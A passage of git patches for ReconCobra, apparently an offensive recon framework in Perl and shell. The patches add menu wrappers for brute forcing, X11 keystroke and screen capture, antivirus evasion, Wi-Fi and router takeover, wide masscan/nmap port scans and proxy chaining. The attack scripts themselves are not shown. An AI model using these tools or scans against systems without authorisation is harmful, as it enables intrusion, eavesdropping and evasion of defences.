-p21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,1433,1521,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file +masscan -p21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file From 51b057f3c6c52276dfb863f75c615c5be95b0817 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 15:45:34 +0500 Subject: [PATCH 221/272] Add files via upload From 937554b70c3fee203797712982b2c14c259a85cc Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 16:51:49 +0500 Subject: [PATCH 222/272] Add files via upload --- BlackArch_Installer.sh | 2 + Kali_Installer.sh | 2 + ParrotOS_Installer.sh | 3 + ReconCobra.pl | 31 +++ ReconCobraTermux.pl | 435 +++++++++++++++++++++++++++++++++++++++-- Termux_Installer.sh | 4 +- traceroute-function | 5 + 7 files changed, 468 insertions(+), 14 deletions(-) create mode 100644 traceroute-function diff --git a/BlackArch_Installer.sh b/BlackArch_Installer.sh index 9dde832..08f38b1 100644 --- a/BlackArch_Installer.sh +++ b/BlackArch_Installer.sh @@ -161,6 +161,8 @@ cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra cp *.sh /usr/share/ReconCobra +cat traceroute-function >> ~/.bashrc +source ~/.bashrc if [ -d "/usr/share/ReconCobra" ] ; then diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 74986d1..25a3822 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -158,6 +158,8 @@ cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra cp *.sh /usr/share/ReconCobra +cat traceroute-function >> ~/.bashrc +source ~/.bashrc if [ -d "/usr/share/ReconCobra" ] ; then diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 0ba25ca..9c57631 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -158,6 +158,9 @@ cd .. cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra +cp *.sh /usr/share/ReconCobra +cat traceroute-function >> ~/.bashrc +source ~/.bashrc if [ -d "/usr/share/ReconCobra" ] ; then diff --git a/ReconCobra.pl b/ReconCobra.pl index 768ca1a..7d66f3b 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -132,6 +132,7 @@ "az|wifi=s" => \$wifi, "aaa|pptp=s" => \$pptp, "aab|router=s" => \$router, + "aac|mapperr=s" => \$mapperr, ); if ($help) { banner();help(); } @@ -216,6 +217,7 @@ if ($wifi) { banner();wifi(); } if ($pptp) { banner();pptp(); } if ($router) { banner();router(); } +if ($mapperr) { banner();mapperr(); } unless (@ARGV > 1) { banner();menu(); } @@ -718,6 +720,12 @@ sub help { print color("bold white"),"reconcobra -aab site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('82'),"Tracert Visual Machine Mapper "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aac site.com"; + print color('bold cyan')," # \n",line_d(); + } #--------------------------------------------------------------# @@ -847,6 +855,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1556,6 +1565,14 @@ sub menu { print "\n"; router(); enter(); + }if($number eq '82'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mapperr(); + enter(); }if($number eq '0'){ exit; } @@ -3686,6 +3703,20 @@ () } +#--------------------------------------------------------------# +#82 Tracert Visual Machine Mapper # +#--------------------------------------------------------------# +sub mapperr() { + print "\n"; + if (system("/usr/share/ReconCobra/mapper.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mapper.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index cb42c95..814d4e8 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -123,6 +123,16 @@ "ap|linkfinder=s" => \$linkfinder, "aq|geotagging=s" => \$geotagging, "as|mireer=s" => \$mireer, + "at|bruter=s" => \$bruter, + "au|mascan=s" => \$mascan, + "av|daisychain=s" => \$daisychain, + "aw|pdatabase=s" => \$pdatabase, + "ax|encrypt=s" => \$encrypt, + "ay|scrambler=s" =>\$scrambler, + "az|wifi=s" => \$wifi, + "aaa|pptp=s" => \$pptp, + "aab|router=s" => \$router, + "aac|mapperr=s" => \$mapperr, ); if ($help) { banner();help(); } @@ -198,6 +208,16 @@ if ($linkfinder) { banner();linkfinder(); } if ($geotagging) { banner();geotagging(); } if ($mireer) { banner();mireer(); } +if ($bruter) { banner();bruter(); } +if ($mascan) { banner();mascan(); } +if ($daisychain) { banner();daisychain(); } +if ($pdatabase) { banner();pdatabase(); } +if ($encrypt) { banner();encrypt(); } +if ($scrambler) { banner();scrambler(); } +if ($wifi) { banner();wifi(); } +if ($pptp) { banner();pptp(); } +if ($router) { banner();router(); } +if ($mapperr) { banner();mapperr(); } unless (@ARGV > 1) { banner();menu(); } @@ -646,7 +666,66 @@ sub help { print color("bold white"),"reconcobra -as site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('73'),"Brute Forcer Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -at site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('74'),"Juicy Port Scan using Mascan "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -au site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('75'),"Set Daisy Chain "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -av site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('76'),"Search PHPinfo and Database Log via Search Engines "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aw site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('77'),"File Encryption "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ax site.com"; + print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('78'),"Load Encryption Scrambling for Antivirus Evasion "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ay site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('79'),"Load Wi-Fi Takeover Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -az site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('80'),"Load PPTP Brute Force Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aaa site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('81'),"Load Routers/Load Balancer Interface "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aab site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('82'),"Tracert Visual Machine Mapper "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aac site.com"; + print color('bold cyan')," # \n",line_d(); + } #--------------------------------------------------------------# @@ -698,7 +777,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('4'),"Basic Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; @@ -767,10 +846,19 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); - chomp($number=); if($number eq '1'){ @@ -1118,7 +1206,7 @@ sub menu { print "\n"; Extractusersfromform(); enter(); - }if($number eq '40'){ + }if($number eq '40'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1145,7 +1233,7 @@ sub menu { print "\n"; Findvictimhttpsleakeddata(); enter(); - }if($number eq '43'){ + }if($number eq '43'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1172,7 +1260,7 @@ sub menu { print "\n"; Findallaccountsfromuser(); enter(); - }if($number eq '46'){ + }if($number eq '46'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1199,7 +1287,7 @@ sub menu { print "\n"; Dnshistory(); enter(); - }if($number eq '49'){ + }if($number eq '49'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1226,7 +1314,7 @@ sub menu { print "\n"; hostnametoip(); enter(); - }if($number eq '52'){ + }if($number eq '52'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1405,8 +1493,87 @@ sub menu { print "\n"; mireer(); enter(); - } - if($number eq '0'){ + }if($number eq '73'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + bruter(); + enter(); + }if($number eq '74'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mascan(); + enter(); + }if($number eq '75'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + daisychain(); + enter(); + }if($number eq '76'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + pdatabase(); + enter(); + }if($number eq '77'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + encrypt(); + enter(); + }if($number eq '78'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + scrambler(); + enter(); + }if($number eq '79'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + wifi(); + enter(); + }if($number eq '80'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mireer(); + enter(); + }if($number eq '81'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + router(); + enter(); + }if($number eq '82'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mapperr(); + enter(); + }if($number eq '0'){ exit; } else{ @@ -1611,7 +1778,7 @@ sub Findiplocation { } #--------------------------------------------------------------# -#4 Port Scanner # +#4 Recommended Port Scanner # #--------------------------------------------------------------# sub port { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); @@ -1632,6 +1799,7 @@ sub port { ,68 => 'DHCP' ,80 => 'HTTP' ,110 => 'POP3' + ,111 => 'Portmapper' ,115 => 'SFTP' ,119 => 'NNTP' ,123 => 'NTP' @@ -1642,17 +1810,55 @@ sub port { ,220 => 'IMAP3' ,389 => 'LDAP' ,443 => 'SSL' + ,445 => 'SAMBA' + ,513 => 'Rlogin' + ,514 => 'Rlogin' + ,691 => 'Microsoft Exchange' + ,1433 => 'MSSQL' ,1521 => 'Oracle SQL' + ,1701 => 'L2TP' + ,1723 => 'PPTP' ,2049 => 'NFS' ,3306 => 'mySQL' ,3388 => 'RDP' ,3389 => 'RDP' - ,5800 => 'VNC' + ,3390 => 'OWA' + ,4125 => 'OWA' + ,5060 => 'VNC' + ,5061 => 'VNC' + ,5062 => 'VNC' + ,5063 => 'VNC' + ,5064 => 'VNC' + ,5065 => 'VNC' + ,5432 => 'PostgreSQL' + ,5802 => 'VNC' + ,5804 => 'VNC' + ,5900 => 'VNC' + ,5901 => 'VNC' + ,5903 => 'VNC' + ,5905 => 'VNC' + ,5986 => 'VNC' + ,6000 => 'Xwindows' + ,6002 => 'Xwindows' + ,6003 => 'Xwindows' + ,6060 => 'Xwindows' + ,6061 => 'Xwindows' + ,6062 => 'Xwindows' + ,6063 => 'Xwindows' + ,6379 => 'Redis' + ,7000 => 'Cassandra Apache' + ,7001 => 'Cassandra Apache' + ,7199 => 'Cassandra Apache' ,8000 => 'HTTP' ,8080 => 'HTTP' ,8090 => 'HTTP' + ,8443 => 'HTTPS' ,8888 => 'HTTP' ,9001 => 'HTTP' + ,9042 => 'Cassandra Apache' + ,27017 => 'MongoDB' + ,27018 => 'MongoDB' + ,27019 => 'MongoDB' ); foreach my $p ( sort {$a<=>$b} keys( %ports ) ) { @@ -3229,7 +3435,7 @@ () if ($enter =~2) { if (system("./linkfinder2.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in js_linkfinder at results\n"; + print item(),"Results are saved in LinkFinder folder\n"; } else { print item(),"Make linkfinder2.sh available in same folder\n"; @@ -3294,8 +3500,9 @@ () } } + #--------------------------------------------------------------# -#72 Mirror Complete Website # +#72 Mirror Complete Website # #--------------------------------------------------------------# sub mireer() { print item(),"Caution: Find mirror_websites inside mirror_website folder\n"; @@ -3309,6 +3516,207 @@ () } +#--------------------------------------------------------------# +#73 Brute Frocer Module # +#--------------------------------------------------------------# +sub bruter() { + print item(),"1 - Start Bruter\n"; + print item(),"2 - Capture Xwindows Information\n"; + print item(),"3 - Start Xwindows Screen Capture\n"; + print item(),"4 - Start Xwindows Keystroke Capture\n"; + print item(),"5 - Takeover Xwindows\n"; + print item(),"6 - Special Screen Capturing Payload for X11\n"; + print item(),"Enter Search Engine: "; + chomp($enter=); +if ($enter =~1) { + if (system("./bruter.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make bruter.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} +if ($enter =~2) { + if (system("./xwin.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~3) { + if (system("./xwin1.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin1.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~4) { + if (system("./xwin2.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin2.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~5) { + if (system("./xwin3.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin3.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~6) { + if (system("./xwin4.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin4.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +} + + +#--------------------------------------------------------------# +#74 Juicy Port Scan using Mascan # +#--------------------------------------------------------------# +sub mascan() { + print "\n"; + print item(),"Result will be saved in mascanresults.txt\n\n"; + if (system("./mascan.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mascan.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#75 Set Daisy Chain # +#--------------------------------------------------------------# +sub daisychain() { + print "\n"; + print item(),"Caution \n"; + print item(),"Edit /etc/proxychains.conf and put these proxies after [Proxy List]\n"; + print item(),"Write as socks4 IP Port or http IP Port as per line\n"; + print item(),"Use proxychains before any software in terminal, example proxychains nmap, etc\n"; + print item(),"Proxy list will generate new proxy every 15 minutes\n\n"; + print item(),"Generating Proxy List\n"; + $url = "http://proxylist.fatezero.org/proxy.list"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + sleep(1); + } +if ($response =~ /error/) { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + + +#--------------------------------------------------------------# +#76 Search PHPinfo and Database Log via Search Engines # +#--------------------------------------------------------------# +sub pdatabase() { + print "\n"; + if (system("./useddatabasefiles.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make useddatabasefiles.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#77 File Encryption # +#--------------------------------------------------------------# +sub encrypt() { + print "\n"; + if (system("./ccrypt.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make ccrypt.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#78 Load Encryption Scrambling for Antivirus Evasion # +#--------------------------------------------------------------# +sub scrambler() { + print "\n"; + print item(),"Hint: Type bypassing in Encrypt Shellcode\n"; + if (system("./scrambler.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make scrambler.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#79 Load Wi-Fi Takeover Module # +#--------------------------------------------------------------# +sub wifi() { + print "\n"; + if (system("./wifi-hacker.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make wifi-hacker.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#81 Load Routers/Load Balancer Interface # +#--------------------------------------------------------------# +sub router() { + print "\n"; + print item(),"Hint: https://null-byte.wonderhowto.com/how-to/seize-control-router-with-routersploit-0177774\n"; + if (system("./router.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make router.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#82 Tracert Visual Machine Mapper # +#--------------------------------------------------------------# +sub mapperr() { + print "\n"; + if (system("./mapper.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mapper.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# @@ -3358,3 +3766,4 @@ sub line_d #--------------------------------------------------------------# # ~~The End~~ # #--------------------------------------------------------------# + diff --git a/Termux_Installer.sh b/Termux_Installer.sh index 3d61150..0d85902 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -130,8 +130,10 @@ cd EyeWitness/setup chmod u+x setup.sh ./setup.sh cd .. -cd .. chmod u+x *.sh +cat traceroute-function >> ~/.bashrc +source ~/.bashrc + echo -e "[+] Installed Success!"; echo -e "[+] Reboot Termux"; diff --git a/traceroute-function b/traceroute-function new file mode 100644 index 0000000..5655a4a --- /dev/null +++ b/traceroute-function @@ -0,0 +1,5 @@ +# function +function traceroute-mapper() { + source /usr/share/ReconCobra/mapper.sh + xdg-open "https://stefansundin.github.io/traceroute-mapper/?trace=$(traceroute -q1 $* | sed ':a;N;$!ba;s/\n/%0A/g')" +} \ No newline at end of file From 9b19594da15b6e69c1f2a18f122e2e11b16453a7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 16:52:15 +0500 Subject: [PATCH 223/272] Add files via upload From 39379e08add0e6ff591480f512313e25ad722667 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 16:52:50 +0500 Subject: [PATCH 224/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5c31373..4f8092b 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ EULA # Linux OS Interface -- Software have 81 Options with full automation and powerful information gathering +- Software have 82 Options with full automation and powerful information gathering
From 052c2ea7026a6c91613b851fbfa160986f403103 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 16:54:31 +0500 Subject: [PATCH 225/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4f8092b..5529fb4 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ EULA
- +
# In-Action From 1f432d586020236ecf0f4cbff32fde7986acbc96 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 21 Jul 2019 00:56:44 +0500 Subject: [PATCH 226/272] Add files via upload --- mascan.sh | 2 +- nmapcommonscan.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/mascan.sh b/mascan.sh index 35f23e2..057282b 100644 --- a/mascan.sh +++ b/mascan.sh @@ -1,3 +1,3 @@ #!/bin/bash read -p "[+] Enter Target in IP/CIDR/Block: " Target -masscan -p21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file +masscan -p21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index 7badadb..a411518 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -1,4 +1,4 @@ #!/bin/bash echo "Enter Target" read Target -nmap -iL $Target \ No newline at end of file +nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target \ No newline at end of file From d71cd1dc94b0a881f6861e1a0626e0303be03a72 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 21 Jul 2019 00:57:46 +0500 Subject: [PATCH 227/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 814d4e8..2703aa0 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -1831,7 +1831,9 @@ sub port { ,5064 => 'VNC' ,5065 => 'VNC' ,5432 => 'PostgreSQL' - ,5802 => 'VNC' + ,5800 => 'VNC' + ,5801 => 'VNC' + ,5802 => 'VNC' ,5804 => 'VNC' ,5900 => 'VNC' ,5901 => 'VNC' From 409f0b170cd992440551abadb38950ee48322b63 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 05:13:05 +0500 Subject: [PATCH 228/272] Update nmapcommonscan.sh --- nmapcommonscan.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index a411518..bcfc95a 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -1,4 +1,4 @@ #!/bin/bash -echo "Enter Target" +echo -n "[+] Enter Input File Path : " read Target -nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target \ No newline at end of file +nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target From f49dfed4eeb82f24965b306d352e70084311c4a6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 05:13:48 +0500 Subject: [PATCH 229/272] Update nmapcommonscan.sh --- nmapcommonscan.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index bcfc95a..4f73506 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -1,4 +1,4 @@ #!/bin/bash echo -n "[+] Enter Input File Path : " read Target -nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target 